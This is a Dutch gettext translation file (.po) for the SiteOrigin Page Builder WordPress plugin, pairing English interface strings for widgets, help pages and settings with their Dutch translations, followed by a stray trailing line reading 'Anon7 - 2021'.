#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Prijs"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "per"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "informatietekst"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "functietekst"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "functielijst"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr "Ervaringen  (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "Lokatie"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Afbeelding"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Widget 1{%1$s} is niet beschikbaar. Probeer de missende plugin te vinden en te installeren. Plaats een bericht op de 2{support forums} als je hulp nodig hebt."

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Voeg een 1{widget}, 2{rij} or 3{voorafgebouwde layout} toe om te beginnen. Lees onze 4{documentatie} als je hulp nodig hebt."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Een complete SiteOrigin Page Builder layout als een widget."

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Toont een puntsgewijze opsomming"

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Schakel meer widgets vrij in de 1{Widgets Bundel instellingen}."

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Installeer de 1{Widgets Bundel} om extra widgets te krijgen."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Je kunt de Legacy (PB) widgets vrijschakelen in de 1{Page Builder instellingen}."

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Je moet 1{%1$s} installeren om widget 2{%2$s} te kunnen gebruiken."

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "Lees s.v.p. de 1{handleiding instellingen}van de Page Builder documentatie voor hulp."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Homepage bijgewerkt. 1{Bekijk pagina}."

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Extra query argumenten. Zie ook 1{query_posts}."

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Lees de 1{volledige documentatie} van SiteOrigin. Stel een vraag op ons 2{support forum} als je hulp nodig hebt en meldt je aan voor 3{onze nieuwsbrief} om op de hoogte te blijven van toekomstige ontwikkelingen."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{vastgestelde rij layout}: %1$s kolommen met een waarde van %2$s vanaf %3$s"

Anon7 - 2021